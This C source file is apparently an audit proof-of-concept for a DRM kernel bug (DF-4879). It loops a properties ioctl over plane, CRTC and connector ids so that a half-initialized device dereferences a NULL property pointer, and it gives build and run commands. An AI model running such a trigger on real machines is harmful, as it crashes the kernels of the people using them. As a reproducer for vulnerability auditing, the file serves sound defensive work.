/*
 * DF-4879 reference trigger — unauthenticated NULL-property deref prober.
 *
 * If the DRM device is in the half-initialized state (any standard
 * mode_config property == NULL, attached to planes/crtcs because
 * drm_mode_config_init() ignored drm_mode_create_standard_properties()
 * failure), this ioctl makes the kernel deref prop->flags at NULL:
 *   drm_mode_object_get_properties()  sys/dev/drm/drm_mode_object.c:345
 *
 * NOT RUNNABLE on the audit guest (no /dev/dri). Reference only.
 *
 * build: cc -O2 -o df4879 df4879.c
 * run:   ./df4879 /dev/dri/card0
 */
#include <stdio.h>
#include <stdlib.h>
#include <fcntl.h>
#include <unistd.h>
#include <string.h>
#include <sys/ioctl.h>

#include "drm.h" /* local copy of the UAPI header bits, below */

int main(int argc, char **argv)
{
	struct drm_mode_obj_get_properties arg;
	const char *dev = argc > 1 ? argv[1] : "/dev/dri/card0";
	int fd, id, type;

	fd = open(dev, O_RDWR);
	if (fd < 0) { perror("open"); return 1; }

	/* Any plane/crtc id works; 1..32 covers early driver-allocated ids. */
	for (id = 1; id < 32; id++) {
		for (type = DRM_MODE_OBJECT_PLANE;
		     type <= DRM_MODE_OBJECT_CONNECTOR; type <<= 1) {
			uint32_t props[64];
			uint64_t vals[64];

			memset(&arg, 0, sizeof(arg));
			arg.objects_ptr = 0;
			arg.props_ptr = (uint64_t)(uintptr_t)props;
			arg.prop_values_ptr = (uint64_t)(uintptr_t)vals;
			arg.count_props = 64; /* > 0 forces the prop->flags read */
			arg.obj_id = id;
			arg.obj_type = type;

			(void)ioctl(fd, DRM_IOCTL_MODE_OBJ_GETPROPERTIES, &arg);
		}
	}
	printf("no fault observed\n");
	return 0;
}
